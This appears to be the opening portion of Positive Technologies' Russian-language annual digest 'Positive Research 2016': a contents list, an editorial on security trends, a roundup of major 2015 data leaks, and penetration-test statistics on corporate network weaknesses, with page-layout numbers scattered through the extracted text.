03 05 07 09 11 13 15 Содержание 17 19 21 23 От редакции. Опасная безопасность и другие тренды 2016 года...... 2 25 27 Tоп-15 утечек за 2015 год...... 3 29 Уязвимости корпоративных информационных систем — 2015: внутри хуже, чем снаружи...... 6 31 Биография сетевого периметра в картинках...... 10 33 35 Безопасность умного транспорта...... 16 37 Кибербезопасность на бескрайних морях...... 19 39 41 Уязвимости веб-приложений в 2015 году...... 23 43 Чем защищают сайты, или Зачем нужен WAF?...... 27 45 Статистика уязвимостей приложений финансовой отрасли в 2015 году...... 31 47 49 Разработка защищенных банковских приложений: главные проблемы и как их избежать...... 35 51 Кто потерял ключи: по следам SSH...... 38 Обнаружение DGA-доменов...... 42 Атакуем SS7: анализ защищенности сотовых операторов в 2015 году...... 44 Опасные уязвимости в популярных 3G- и 4G-модемах...... 47 HackerSIM: разбор полетов...... 52 Расшифровка обновлений популярного сотового модема...... 57 1 Эмуляция и перехват SIM-команд через SIM Toolkit на Android 5.1 и ниже (CVE-2015-3843)...... 60 Зонд для слежки за дронами: разоблачаем сенсацию...... 64 Обзор уязвимостей антивирусных продуктов за I квартал 2016 года...... 66 Взломать PayPal за 73 секунды...... 68 Знакомимся с исходниками Windows 10...... 69

Статистика появления правил IDS/IPS Suricata для новых угроз...... 72 53 Оценка уязвимостей CVSS 3.0...... 74 55 57 Работа с паролями: как защитить свои учетные записи (мнения специалистов)...... 80 59 Конкурс MiTM Mobile: как ломали мобильную связь на PHDays V...... 82 61 Кто взломал электроподстанцию: итоги конкурса Digital Substation Takeover...... 86 63 65 Как взламывали банк на PHDays V...... 87 67 Разбор конкурса Best Reverser на PHDays V...... 88 69 Конкурс WAF Bypass на PHDays V...... 91 71 73 Разбор заданий конкурса «Конкурентная разведка» на PHDays V...... 93 75 Хакерская елка, или Как организовать детский день в недетской компании...... 100 77 79 Об авторах сборника...... 102 81 83 85 87 89 91 93 95 97 99 101 103

// от редакции positive research 2016

02 04 От редакции 06 08 10 Опасная безопасность 12 14 16 и другие тренды 2016 года 18 20 22 Читая новости кибербезопасности, вы наверняка задумывались: управления, можно заметить, что промышленная безопасность еще 24 откуда берутся цифры ущерба от хакерских атак или уверенные не подружилась с информационной. При защите АСУ ТП используют- 26 оценки надежности средств защиты? Честно говоря, мы тоже часто ся устаревшие модели угроз, которые не учитывают возросшее вли- 28 сомневаемся. В этом и суть безопасности — в постоянном стол- яние компьютерных компонентов. Многие «цифровые» уязвимости 30 кновении с неизвестным. Тем не менее каждый год специалисты АСУ ТП, обнаруженные нашими экспертами, могут стать причиной 32 Positive Technologies выполняют сотни исследований, анализируя катастроф — хотя исследованные системы зачастую соответствуют 34 защищенность сетей, устройств и приложений наших клиентов так, всем стандартам промышленной безопасности. С другой стороны, как делали бы настоящие хакеры. Мониторинг безопасности и рас- классические подходы ИБ не всегда стыкуются с промышленной 36 следование инцидентов тоже приносят немало открытий. Самые ин- практикой: здесь и специфические протоколы, и снег с дождем... 38 тересные результаты — в очередном выпуске ежегодного сборника Однако наш опыт работы с «РЖД» позволяет надеяться, что сотрудни- 40 Positive Research. Давайте посмотрим, как его содержание отражает чество разработчиков систем управления и разработчиков средств 42 ИБ-тенденции года. защиты приведет к рождению новой дисциплины — кибербезопас- 44 ности АСУ ТП (см. стр. 18). 46 1. Мода на APT. Целевые кибератаки проводятся уже давно, но в этом году о них заговорили особенно активно. Между тем, по оцен- 5. Цельнометаллический троян. Кажется, все уже привыкли к 48 кам наших экспертов, большинство кибератак года не были техниче- новостям о бэкдорах в софте (стр. 69). Но не за горами тот день, ког- 50 ски изощренными: использование ранее не известных уязвимостей да мы узнаем о бэкдорах, установленных на аппаратном уровне (и (0-days) отмечено менее чем в 20% случаев. Злоумышленники чаще не в экзотических случаях противостояния спецслужб), — о массово всего идут в атаку с минимальными затратами, используя известные «впаянных» в повседневные устройства: это и недокументированные уязвимости (см. стр. 6 и 10). инструкции в микропроцессорах, и прочая зловредная аппаратная логика. Возможно, появятся даже «целиком плохие» гаджеты, выпол- Другое дело, что целевые атаки становятся более многоступенча- няющие и полезные функции, но разработанные специально для тыми. Например, для атаки на организацию сначала взламывают ее достижения целей злоумышленников. К этому очень располагает партнеров или используют результаты массовой атаки для развития выпуск на рынок большого количества дешевых устройств, безопас- целевой. Здесь стоит отметить огромное количество утечек персо- ностью которых никто не заморачивается (домашние роутеры, USB- 2 нальных данных (стр. 3) — только представьте, как можно все эти модемы, веб-камеры). данные использовать! 6. Средства защиты как угроза. Множество исследований 2. Больше Веба. Если раньше атаки на крупные компании шли, как этого года посвящены уязвимостям антивирусов и других средств правило, через рабочие станции (атаки на браузеры или рассылка защиты. Системы безопасности сами становятся угрозой — осо- вирусов), то в прошедшем году 30% атак совершалось на корпора- бенно если учесть, что многие из них обладают повышенными тивные ресурсы, включая веб-сервисы. Причина понятна: зачастую привилегиями доступа (антивирусы, сканеры, SIEM) или контро- Веб дает прямой доступ к корпоративной инфраструктуре и конфи- лируют ключевые информационные потоки (IDS/IPS, WAF). Уже денциальным данным. При этом за последние три года доля веб-при- известны случаи взлома публично доступных сервисов для ди- ложений, где обнаруживаются критически опасные уязвимости, вы- 52 намического анализа файлов («песочниц»). Эксперты, конечно, росла до 70% (стр. 23). 54 могут рассказать, как улучшить антивирусы и межсетевые экраны 56 Показательна ситуация с финансовыми онлайн-услугами. Число (см. стр. 27 и 66). Но общая тенденция вызывает опасения: ника- 58 мошенничеств с электронными платежами растет, а защищенность кая поставленная на раз защита больше не работает. Современная 60 банковских приложений остается на низком уровне: критически безопасность — это совокупность процессов: мониторинг собы- 62 опасные уязвимости встречаются в 90% систем ДБО, в основном тий, выявление атак, расследование инцидентов, обмен инфор- это недостатки авторизации (стр. 31). Банки не всегда представляют мацией об угрозах. В этом направлении можно прогнозировать 64 себе, насколько они «видны снаружи»: наши эксперты обнаружили на развитие центров безопасности (SOC), а также облачных решений 66 периметре одного из российских банков около 80 банкоматов, к ко- по обработке ИБ-данных. Есть и первый опыт системного подхода 68 торым можно подключиться через интернет. на государственном уровне: создание Государственной системы 70 обнаружения, предупреждения и ликвидации последствий ком- 3. Всё через мобилу. Телеком-операторы предлагают все но- 72 пьютерных атак (ГосСОПКА). Это может дать толчок к развитию от- вые и новые услуги, а современные гаджеты активно используют 74 ечественного ИБ-рынка, который как-то приуныл, столкнувшись с мобильный доступ. Интеграция новых технологий со старыми 76 вопросом импортозамещения. создает серьезные проблемы безопасности. В частности, многие 78 атаки на абонентов мобильной связи можно проводить, используя 7. Детки в сетке. В России об этой проблеме пока не слышно. А 80 древние протоколы SS7 (стр. 44). Впрочем, с прошлого года теле- вот на Западе целый ряд исследователей отмечают, что смартфона- 82 комы активно занялись аудитом безопасности, что можно только ми и планшетами с интернетом стали массово пользоваться дети 84 приветствовать. уже с трех-четырех лет. Однако представлений о кибербезопасно- 86 сти у них нет: ни в садиках, ни в школах этому не учат. В итоге именно В то же время значительное количество уязвимостей, позволяющих 88 через детей зачастую утекают к злоумышленникам персональные следить за абонентами или похищать их деньги, обнаруживается в 90 данные и финансы родителей. В этом году мы предлагаем вам не модемах (стр. 47, 57) и в мобильных приложениях (стр. 60). В про- 92 только разбор хакерских конкурсов PHDays, которые используются шлом выпуске Positive Research мы прогнозировали появление на как учебные пособия в вузах (см. стр. 82 и далее), но и репортаж о 94 рынке супертелефонов с повышенной защитой. Увы, новинки пока наших мероприятиях для тех, кому от 5 до 15 (стр. 100). Мы начали 96 не впечатляют (см. стр. 52). 98 эти «хакерские елки» для детей сотрудников компании — но теперь 4. Вагонные споры. Анализируя безопасность умных автомо- видим, что подобные уроки безопасности стоило бы посещать всем 100 билей (стр. 16), морских перевозок (стр. 19) и различных систем школьникам. 102 03 Tоп-15 утечек 05 07 09 за 2015 год 11 13 15 17 Александр Антипов, В прошлом году в мире информационной безопасности произошло огромное количество мас- 19 главный редактор штабных инцидентов. Значительное место среди них занимают взломы с последующими утеч- 21 SecurityLab.ru ками персональных и конфиденциальных данных. Самые заметные случаи, собранные в этом 23 обзоре, показывают: нет такой индустрии или сферы деятельности, которая защищена от утечек. 25 27 29 31 33 35 Группа страховых компаний Anthem 37 39 Злоумышленники первый раз взломали ресурсы страховщиков еще в 2004 году, но об этом 41 стало известно только в 2015-м. Это значит, что в течение 11 лет хакеры имели прямой доступ 43 к персональным данным 80 миллионов клиентов Anthem — к именам, адресам, телефонам, 45 номерам социального страхования, истории трудоустройства. 01 47 49 51

Хакерская компания Hacking Team

Итальянская компания, предлагающая услуги взлома и кибершпионажа, сама оказалась жерт- вой крупной утечки. Хакеры-конкуренты выложили в интернет огромный архив, содержащий конфиденциальные документы о сотрудничестве Hacking Team со спецслужбами всего мира. 02 Подробный анализ архива позволил обнаружить эксплойты ко многим уязвимостям нулевого дня. 3

Сайт для супружеской измены Ashley Madison 53 В июле 2015 года хакерская группировка The Impact Team выложила учетные данные 11 млн 55 пользователей сайта Ashley Madison, среди которых оказались известные политики и бизнес- 57 мены. Данные, выложенные в открытый доступ, стали использоваться злоумышленниками для вымогательства и других атак. Обиженные канадские пользователи даже попытались отсудить 59 03 у владельцев Ashley Madison 575 млн долл. компенсации. Некоторые западные СМИ заявляли, 61 что скандальная утечка данных привела к двум самоубийствам. 63 65 67 69 71 73 Сайт знакомств Adult FriendFinder 75 77 Вслед за взломом Ashley Madison хакеры атаковали аналогичный сервис «взрослых» знакомств 79 Adult FriendFinder. Данные почти 4 млн пользователей были выложены в открытый доступ. 81 83 85 04 87 89 91 93 VTech и Hello Kitty 95 97 Атаки на обе компании объединяет одно существенное событие: хакеры получили доступ к 99 данным детей. Возможно, получение информации о детях не было главной целью атакующих, 101 05 однако прецедент создан. В ходе атаки «пострадали» данные 14,8 млн клиентов. 103 // от редакции positive research 2016

02 04 06 08 Juniper ScreenOS 10 12 Очень громкий инцидент, произошедший в декабре. Компания обнаружила бэкдор в ScreenOS, 14 который присутствовал в системе по меньшей мере с 2012 года. Учитывая сектор применения 16 устройств компании, можно предположить, что спецслужбы, внедрившие бэкдор, использо- 18 вали его для хищения корпоративных и государственных секретов самых крупных компаний 20 06 в мире. 22 24 26 28 30 32 «АвтоВАЗ» и MegaIndex 34 В декабре стало известно об успешной атаке на компанию ALTWeb Group, и как следствие — 36 взлом «АвтоВАЗа». Как заявлял хакер, в его распоряжении оказалось 14 тысяч пар «логин — па- 38 роль», а валидность базы составила примерно 60%. Имея доступ ко всей базе клиентов ALTWeb 40 Group, хакер обнаружил еще 250 тысяч пар «логин — хеш пароля» компании MegaIndex, и уже 42 07 за первые сутки расшифровал 90% из них. 44 46 48 50

Менеджер паролей LastPass

Один из самых популярных менеджеров паролей в июне сообщил об успешной атаке злоу- мышленников на свои облачные ресурсы. Злоумышленники сумели похитить зашифрованные 08 мастер-пароли, подсказки к этим паролям и имейлы пользователей сервиса. 4

Телеком T-Mobile

Взлом телекоммуникационной компании посредством атаки на подрядчика Experian позво-

52 лил злоумышленникам заполучить доступ к личным данным 15 млн клиентов оператора связи. Компания Experian также отличилась в 2014 году, позволив хакерам похитить и продать через 54 вьетнамский сервис почти 200 млн записей, содержащих личные данные клиентов. 56 09 58 60 62 64 66 68 Личная почта директора ЦРУ 70 72 Джон Бреннан стал жертвой атаки трех подростков. Используя методы социальной инжене- 74 рии, хакеры сумели заполучить доступ к переписке директора ЦРУ. Неправительственный 76 интернет-аккаунт содержал письма с номерами социального страхования и персональными 78 данными более десятка чиновников разведывательной службы, а также правительственный 80 10 документ о применении жестких техник допроса к лицам, подозреваемых в терроризме. 82 84 86 88 90 92 База данных избирателей США 94 96 В конце 2015 года личные данные 191 миллиона граждан США были выложены в интернет. 98 Опубликованная в свободном доступе база данных содержит имена, физические и электрон- 100 ные адреса, даты рождения, номера телефонов, а также сведения о принадлежности к полити- 102 11 ческим партиям избирателей из всех 50 штатов страны и округа Колумбия. 03 05 07 Медицинская база Premera 09 11 В начале 2015 года здравоохранительная компания Premera рассказала об успешной атаке на ее 13 ресурсы. Личные данные 11 млн клиентов были похищены хакерами. Данные содержали имена, 15 адреса, телефоны, номера социального страхования, банковскую информацию и медицинские 17 данные. В настоящее время Premera обвиняют в преступной халатности, нарушении условий 19 12 заключенного с клиентами контракта, нарушении Закона о защите прав потребителей штата 21 Вашингтон (Washington Consumer Protection Act) и несвоевременном уведомлении клиентов о 23 киберинциденте. Если суд удовлетворит иски потерпевших, компанию обяжут выплатить весь 25 нанесенный им материальный и моральный ущерб. 27 29 31 33 35 37 Профсоюз полиции Fraternal Order of Police 39 41 Неизвестные похитили базу крупнейшего объединения полицейских США — архив с конфи- 43 денциальной информацией размером 2,5 гигабайта, включая домашние адреса полицейских. 45 Кроме архива, злоумышленники также получили доступ к закрытому форуму, где члены орга- 47 низации обсуждали различные темы, от необходимости более жестких мер в отношении неле- 13 49 гальных мигрантов до критики политики президента США. 51

Веб-камеры для присмотра за детьми

Поисковая система Shodan открыла раздел, позволяющий посмотреть в миллионы веб-камер. 5 За короткое время работы ресурса в кадр уже попали плантации конопли, задние дворы бан- ков, детские спальни, кухни, гостиные, бассейны, школы и колледжи, лаборатории, магазины. 14 Уязвимость камер заключается в том, что они используют для передачи видео протокол RTSP (Real Time Streaming Protocol) без надлежащей аутентификации. В итоге изображение с этих камер доступно любому, кто к ним подключится.

53 55 Отпечатки пальцев чиновников 57 59 В начале лета стало известно о хакерской атаке на Управление кадровой службы США (US 61 Office of Personnel Management). Злоумышленники похитили личные данные 21 млн амери- 63 канских госслужащих, а также отпечатки пальцев 5,6 млн человек. В отличие от украденного 65 пароля, человек не может сменить свои отпечатки пальцев, поэтому их похищение открывает 67 15 широкий простор для совершения преступлений против гражданина на протяжении всей его 69 жизни. Как можно использовать чужие отпечатки? Исследователи из Chaos Computer Club еще осенью 2013 года продемонстрировали, как легко обойти систему биометрической идентифи- 71 кации Touch ID на популярных устройствах компании Apple. Получив чужой отпечаток пальца, 73 немецкие хакеры с помощью несложной техники изготовили искусственный палец и разблоки- 75 ровали iPhone 5s, защищенный с помощью Touch ID. 77 79 81 83 85 87 89 Массовые утечки 2015 года заставляют взглянуть под другим углом на безопасность личных 91 данных, поскольку использование этих данных позволяет злоумышленникам продолжить ата- 93 ку. В этом году мы уже можем наблюдать такие последствия. В частности, в начале года слу- 95 чилась серия успешных атак на российские банки, в том числе «Металлинвестбанк», «Русский 97 международный банк», «Гарант-Инвест». По данным Group-IB, с августа 2015 года по февраль 99 2016-го хакеры успешно похитили 1,8 млрд рублей со счетов клиентов российских банков. То 101 ли еще будет. 103

// от редакции positive research 2016

02 04 Уязвимости корпоративных 06 08 10 информационных систем — 2015: 12 14 16 внутри хуже, чем снаружи 18 20 22 В 2015 году сетевые инфраструктуры компаний оказались лучше 24 Дмитрий Каталков, защищены от внешнего злоумышленника, чем в предыдущие годы, 26 Евгений Гнедин однако уровень защищенности от внутреннего нарушителя остался 28 крайне низким. Лидер уязвимостей сетевого периметра — старые 30 версии ПО, во внутренних сетях — недостатки управления учетны- 32 ми записями и паролями. Увеличилось число сотрудников, которые 34 переходят по внешним ссылкам, а уровень защищенности каждой третьей из беспроводных сетей оценивается «ниже среднего». 36 38 Такие наблюдения сделаны в исследовании компании Positive 40 Technologies на основе тестов на проникновение, проводившихся в 42 2015 году. В рамках тестирования моделируется поведение потенци- 44 ального нарушителя (внешнего или внутреннего), что позволяет оце- 46 нить реальный уровень безопасности системы и выявить недостатки механизмов защиты, в том числе те, которые могут остаться незаме- 48 ченными при использовании других методов аудита. 50

Исходные данные 35% 35% 6% 24% В исследовании использованы результаты тестирования 17 инфор- 2015 6 мационных систем крупных российских и зарубежных компаний. 44% 39% 17% Наибольшую долю составляют компании финансового сектора (35%). 2014 В равных долях представлены промышленные, телекоммуникацион- 50% 29% 7% 14% ные и IT-компании (по 18%), также среди протестированных — одна 2013 транспортная компания и одна госорганизация. Большинство иссле- дованных предприятий включали множество дочерних компаний и филиалов, расположенных в разных городах и странах; количество активных узлов, доступных на их сетевом периметре, исчислялось Любой внешний нарушитель сотнями. Помимо тестирования на проникновение, в 24% проектов Любой нарушитель из пользовательского сегмента ЛВС 52 проводилась оценка осведомленности сотрудников в вопросах ин- формационной безопасности. Любой внутренний нарушитель из технологического сегмента 54 56 Любой нарушитель, имеющий удаленный доступ к одному из серверов 58 Общие результаты Не установлен 60 62 В 76% исследованных систем выявлена возможность получения 64 злоумышленником полного контроля над отдельными критически Минимальный уровень доступа, необходимый нарушителю для получения полного 66 важными ресурсами. При этом в 35% систем такой уровень приви- контроля над отдельными критически важными ресурсами (доля систем) 68 легий может быть получен от лица любого внешнего нарушителя. Не 70 удалось получить контроль над какими-либо критически важными 72 ресурсами в 24% проектов. В целом видна тенденция к повышению 74 общего уровня защищенности критически важных ресурсов, по сравнению с 2013 и 2014 годами. 81% 6% 13% 76 2015 78 В половине исследованных систем возможно получение полного 78% 22% 80 контроля над всей корпоративной инфраструктурой. При этом в 19% 2014 82 случаев такие привилегии могут быть получены со стороны внешне- го нарушителя, а еще в 31% компаний — от лица внутреннего нару- 57% 7% 36% 84 2013 86 шителя из пользовательского сегмента сети. 88 Как и в предыдущие годы, практически в каждой корпоративной 90 инфраструктуре были обнаружены уязвимости высокой степе- 92 ни риска. С 2013 года сохраняется тенденция к росту доли орга- Высокий Низкий Уязвимостей не обнаружено 94 низаций, корпоративная инфраструктура которых подвержена 96 критически опасным уязвимостям, связанным с использованием 98 устаревших версий ПО и с отсутствием обновлений безопасности. Средний возраст наиболее устаревших неустановленных обновле- Максимальный уровень риска уязвимостей, связанных с отсутствием 100 обновлений безопасности (доля уязвимых систем) ний — 73 месяца (более шести лет). 102 Недостатки защиты сетевого Во всех исследованных системах были выявлены недостатки, связан- 03 ные с использованием на сетевом периметре уязвимых версий ПО; 05 периметра главным образом это устаревшие версии веб-серверов (78%) и при- 07 кладного ПО (67%). 09 По сравнению с 2014 годом общий уровень защищенности сетевого 11 периметра повысился: в рамках почти половины проектов, где про- 13 водились работы, не было выявлено недостатков, которые позволи- | Уязвимые версии ПО 15 ли бы получить доступ к критически важным ресурсам из внешних 100% 17 сетей. Сложность осуществления атак также возросла: для получе- 67% 19 ния доступа к ресурсам внутренней сети внешнему нарушителю | Использование открытых протоколов передачи данных лишь в 46% случаев достаточно обладать низкой квалификацией 89% 21 (против 61% в 2014 году). 80% 23 25 | Интерфейсы управления оборудованием доступны любому пользователю сети Интернет 89% 27 18% 28% 93% 29 31 | Словарные пароли 78% 33 87% 35 37 | Загрузка произвольных файлов 56% 39 40% 41 43 | Хранение важных данных в открытом виде или в открытом доступе 56% 45 33% 47 49 | Внедрение операторов SQL 44% 51 67%

| Избыточные привилегии приложения или СУБД 33% 40%

| Интерфейсы подключения к СУБД доступны любому пользователю сети Интернет 27% 9% 18% 33% 60%

| Внедрение внешних сущностей XML 7 Тривиальная 22% 20% Низкая

Средняя (без использования социальной инженерии) 0% 20% 40% 60% 80% 100% Средняя (с использованием социальной инженерии)

Не удалось преодолеть периметр 2014 год 2015 год (высокий, средний и низкий риск)

53 Сложность преодоления периметра Наиболее распространенные уязвимости на сетевом периметре 55 57 59 В 54% проектов, где проводились работы по внешнему тестирова- Недостатки защиты внутренней сети 61 нию на проникновение, были получены максимальные привилегии 63 в каких-либо критически важных для бизнеса системах, в 27% случа- Как и в предыдущие годы, в рамках всех проектов удалось полу- 65 ев — полный контроль над всей инфраструктурой компании. чить максимальные привилегии в критически важных системах при 67 В 55% систем для преодоления сетевого периметра без использова- тестировании от лица внутреннего злоумышленника (например, 69 ния методов социальной инженерии требовалась средняя либо низ- рядового сотрудника, находящегося в пользовательском сегменте 71 кая квалификация, либо вовсе тривиальные действия нарушителя. сети). При этом полный контроль над инфраструктурой был полу- 73 В среднем для получения доступа к ресурсам внутренней сети, как чен в 71% случаев. Полученные результаты совпадают с показате- 75 и в 2014 году, требовалась эксплуатация двух различных уязвимостей. лями 2013 года. 77 При преодолении сетевого периметра в 47% случаев вектор атаки В среднем при наличии доступа во внутреннюю сеть для контро- 79 основывался на эксплуатации уязвимостей веб-приложений. В це- ля над критически важными ресурсами злоумышленнику требу- 81 лом уязвимости различного уровня риска в коде веб-приложений ется эксплуатация четырех различных уязвимостей, что на один 83 были обнаружены в 69% исследованных систем. Например, уязви- шаг больше, чем в предыдущем году, и на один шаг меньше, чем в 85 мость «Загрузка произвольных файлов» была выявлена в 56% проек- 2013 году. Однако сложность реализации атак существенно снизи- 87 тов, а «Внедрение операторов SQL» оказалось возможно в 44%. лась — в 82% случаев для доступа к критически важным ресурсам 89 нарушителю достаточно было обладать квалификацией низкого Другие 53% атак, в результате которых был получен доступ к ресур- 91 уровня; аналогичный показатель в 2014 году составлял лишь 56%. сам внутренней сети, пришлись на использование словарных учет- 93 ных данных. Данная уязвимость была наиболее распространенной в Самой распространенной уязвимостью ресурсов внутренней сети 95 2014 году, а в 2015 году выявлена на сетевом периметре 78% систем. Во остается использование словарных паролей. Данный недостаток 97 всех этих системах были обнаружены простые пароли привилегиро- обнаружен в рамках всех без исключения проектов. При этом в 91% 99 ванных пользователей. В 44% компаний словарные учетные данные случаев было выявлено использование слабых паролей для приви- 101 использовались для доступа к общедоступным веб-приложениям. легированных учетных записей. 103

// критически важные инфраструктуры positive research 2016

02 | До 7 строчных букв | Словарные пароли 04 25% 100% 06 44% 100% | Недостатки защиты служебных протоколов, приводящие к перенаправлению трафика 08 | Пустой и перехвату информации о конфигурации сети 10 19% 100% 12 38% 83%

14 | До 7 символов  цифр и строчных букв | Недостаточный уровень защиты привилегированных учетных записей 16 13% 91% 18 38% 88%

20 | Близкие сочетания клавиш | Недостаточно эффективная реализация антивирусной защиты 22 6% 91% 24 38% 88%

26 | admin | Уязвимые версии ПО 28 25% 82% 30 31% 50%

32 | 123456 | Хранение важной информации в открытом виде 34 13% 82% 36 31% 88%

38 | До 10 цифр | Недостатки защиты протоколов NBNS и LLMNR 40 13% 73% 42 31% 56%

44 | P@ssw0rd | Использование открытых (незащищенных) протоколов передачи данных 46 19% 64% 48 25% 25%

50 | 123 | Интерфейсы управления оборудованием доступны любому пользователю локальной сети 19% 45% 25% 19%

| sa | Недостатки сегментации сети 19% 36% 19% 44%

0% 20% 40% 60% 80% 100% 0% 20% 40% 60% 80% 100% 8 Пользователи Администраторы 2014 год 2015 год (уровень риска: высокий, средний, низкий)

Словарные пароли во внутренней сети Наиболее распространенные уязвимости внутренней сети

Во всех системах также были выявлены недостатки защиты служебных | Ввели учетные данные либо установили ПО протоколов, которые могут привести к перехвату и перенаправ­лению 15% 52 15% сетевого трафика. Недостаточный уровень защиты привилегирован- 54 4% ных учетных записей и недостатки антивирусной защиты по-прежнему 56 распространены во внутренней сети компаний: уязвимости каждой из | Вступили в диалог 58 этих категорий были обнаружены в 91% систем. 0% 60 0% 62 Уровень защищенности внутренних сетей по-прежнему остается 3% крайне низким. Несмотря на отдельные улучшения (например, по- 64 | Переход по ссылке высился средний уровень криптографической защиты, повысилась 66 24% осведомленность пользователей в вопросах информационной без- 68 20% опасности), применяемых мер защиты все так же недостаточно для 11% 70 противодействия злоумышленникам. Наиболее распространенный 72 сценарий развития атаки во внутренней сети практически не из- 74 менился с 2014 года и состоит всего из трех основных этапов. Как и 0% 20% 40% 60% 80% 100% 76 прежде, для успешной атаки достаточно использовать широко рас- 78 пространенные и давно известные типы уязвимостей. 2013 год 2014 год 2015 год 80 82 Доля зафиксированных событий относительно общего количества 84 Недостатки осведомленности отправленных сообщений 86 сотрудников в вопросах ИБ 88 90 В целом уровень осведомленности сотрудников в вопросах инфор- В 2015 году в среднем 24% пользователей осуществили переход по 92 мационной безопасности оценивается выше, чем в 2014 году, но поддельной ссылке (в 2014 году было 20%). Не изменилась доля ис- 94 по-прежнему остается достаточно низким: ни в одной из протестиро- пытуемых, которые ввели свои учетные данные в заведомо ложную 96 ванных систем он не был оценен как приемлемый, хотя вдвое снизи- форму аутентификации или загрузили исполняемый файл: показа- 98 лась доля компаний, для которых уровень осведомленности сотруд- тель остался на уровне 15%. ников был оценен как крайне низкий (25% против 50% в 2014 году). 100 102 Недостатки защиты 03 05 беспроводных сетей Заключение 07 09 В рамках данных работ проводится поиск недостатков в использо- Для снижения рисков компрометации критически важных систем 11 вании точек доступа и клиентских устройств Wi-Fi для диапазонов со стороны внешних нарушителей рекомендуется особое внима- 13 2,4 и 5 ГГц с использованием технологий 802.11a/b/g/n, а также не- ние уделять ресурсам, доступным из внешних сетей. Как показывает 15 достатков в архитектуре и организации беспроводного доступа. практика, подавляющее большинство успешных атак основаны на 17 Лишь для 33% систем уровень защищенности беспроводных сетей эксплуатации уязвимостей не официальных сайтов организаций и был оценен как «приемлемый». их серверов, а каких-либо других ресурсов компании, которые не 19 должны быть доступны на сетевом периметре (например, СУБД, не- 21 Среди выявленных недостатков стоит отметить использование ме- используемых отладочных интерфейсов, интерфейсов удаленного 23 ханизма WPS для упрощения процесса настройки беспроводной доступа или управления, интерфейсов инфраструктурных служб, 25 сети. Для подключения к точке доступа используется специальный таких как LDAP). Интерфейсы для доступа к таким ресурсам могут 27 PIN-код, состоящий только из цифр. Нарушитель может подобрать быть открыты для подключения по ошибке администраторов; за- 29 PIN-код и подключиться к точке доступа. частую представители крупных компаний, отвечающие за безопас- 31 Также выявлены факты использования несанкционированных то- ность, не могут точно сказать — сколько и каких ресурсов органи- 33 чек доступа; в случае их подключения к локальной вычислитель- зации доступны из внешних сетей. 35 ной сети злоумышленник имеет возможность получить доступ к Для защиты от атак на веб-приложения рекомендуется применять 37 внутренним сетям. В ряде систем обнаружено отсутствие защиты межсетевые экраны уровня приложения с эффективными настрой- 39 отдельных беспроводных сетей, что может привести к перехвату ками правил корреляции. Для контроля за ресурсами на сетевом 41 важной информации. К распространенным уязвимостям можно периметре рекомендуется обеспечить регулярное сканирование также отнести использование стандартных учетных записей для 43 ресурсов, доступных из внешних сетей (к примеру, раз в месяц). доступа к веб-интерфейсу управления сетевым оборудованием. 45 Для своевременного выявления и устранения уязвимостей в коде 47 В рамках одного из проектов было установлено, что почти все критически важных веб-приложений необходимо регулярно про- 49 беспроводные сети компании доступны за пределами контро- водить работы по анализу их защищенности, как методом черного 51 лируемой зоны, при этом на общедоступных ресурсах сетевого или серого ящика, так и методом белого ящика с подробным анали- периметра в открытом виде хранились учетные данные пользо- зом исходных кодов. Такие работы важно проводить не только на вателя домена. Таким образом любой внешний нарушитель может каждом этапе разработки приложения, но и в отношении систем, подключиться к беспроводной сети и проводить атаки на ресур- принятых в эксплуатацию, с последующим контролем устранения сы ЛВС. выявленных уязвимостей. Что касается защиты корпоративных систем от атак со стороны Приемлемый | 33% внутреннего нарушителя, необходимо ввести парольную политику, запрещающую использование простых паролей, предусматрива- ющую обязательную двухфакторную аутентификацию для приви- 9 Средний | 33% легированных пользователей критически важных систем, а также требования к регулярной смене паролей (например, раз в 60 дней). Ниже среднего | 33% Также необходимо обратить особое внимание на устаревшие вер- сии ПО, на открытые протоколы передачи данных и на хранение важной информации в открытом виде на серверах и рабочих стан- циях сотрудников. Кроме базовых мер защиты информации, следу- 0% 20% 40% 60% 80% 100% ет на регулярной основе проводить аудит безопасности инфор- мационных систем и тестирование на проникновение со стороны Уровень защищенности беспроводных сетей (доли систем) внешнего и внутреннего нарушителя. 53 55 57 59 61 63 65 67 69 MaxPatrol SIEM покажет всю картину безопасности 71 73 В мае 2015 года Positive Technologies представила собственную систему мониторинга событий безопасности и выявления 75 хакерских атак MaxPatrol SIEM. Для идентификации и инвентаризации активов в системе используется широкий набор 77 активных и пассивных механизмов, использующих данные сетевого трафика, журналы событий, конфигурационные файлы, 79 результаты работы сканеров и других систем безопасности. Данные об уязвимостях, топологии сети и фактическом трафи- 81 ке, совмещенные с постоянно обновляемой базой знаний о техниках атак, позволяют MaxPatrol SIEM выявлять инциденты 83 на самых ранних стадиях и принимать превентивные меры защиты. Система целиком спроектирована в России с учетом 85 местной специфики и требований регуляторов, легко интегрируется с большим количеством различных ИБ-средств и уже 87 сейчас поддерживает десятки внешних источников данных. Одной из первых DLP-систем, которые работают с MaxPatrol 89 SIEM, стал российский программный комплекс обнаружения и предотвращения утечек DeviceLock DLP Suite, широко ис- 91 пользуемый в государственных учреждениях, в финансовых, энергетических и телекоммуникационных компаниях. 93 95 97 99 101 103

// критически важные инфраструктуры positive research 2016

02 04 Биография сетевого периметра 06 08 10 в картинках 12 14 16 18 Решая задачи, связанные с обеспечением информационной безопас- 20 Владимир Лапшин ности, принято разделять угрозы на внешние и внутренние. Внешние 22 угрозы, как правило, ассоциируются с хакерскими атаками на сете- вой периметр. Именно эта активность «темной стороны» часто ста- 24 новится предметом рассмотрения кино и художественной литерату- 26 ре. При этом действия хакера, проникающего в сеть, расположенную 28 на другом континенте, обросли мифами, и понять — где реальность, 30 а где вымысел — бывает очень сложно. 32 34 36 38 40 Многие компании сталкиваются со взломом внешнего периметра. не были устранены, и, согласно нашим данным, 40% таких систем бу- 42 Некоторые пытаются оценить стойкость своих границ самостоя- дут уязвимы, а 30% сервисов — представлять угрозу. тельно, другие обращаются к специализированным организациям. 44 Итак, перейдем к подробностям. 46 Часто стойкость «оценивают» и злоумышленники, и тогда компании приходится выяснять, кто и как осуществил несанкционированное 48 проникновение во внутреннюю сеть. Специалисты нашей компании 50 Наши герои часто оказывают помощь организациям как в оценке защищенности их сетевого периметра, так и в расследовании инцидентов информа- Оценка уровня защищенности проводилась в 10 организациях (одна ционной безопасности, а поэтому мы можем с уверенностью сказать, из них — Positive Technologies, а вот названия остальных мы не рас- что задача обеспечения защиты сетевого периметра на сегодняшний кроем). Адресное пространство исследования включало 130 000 день более чем актуальна. уникальных IP-адресов. Использовались новые технологии сканиро- СМИ ведут свою статистику в этой области, и она, увы, также не вызы- вания системы MaxPatrol X. Чтобы получить данные об 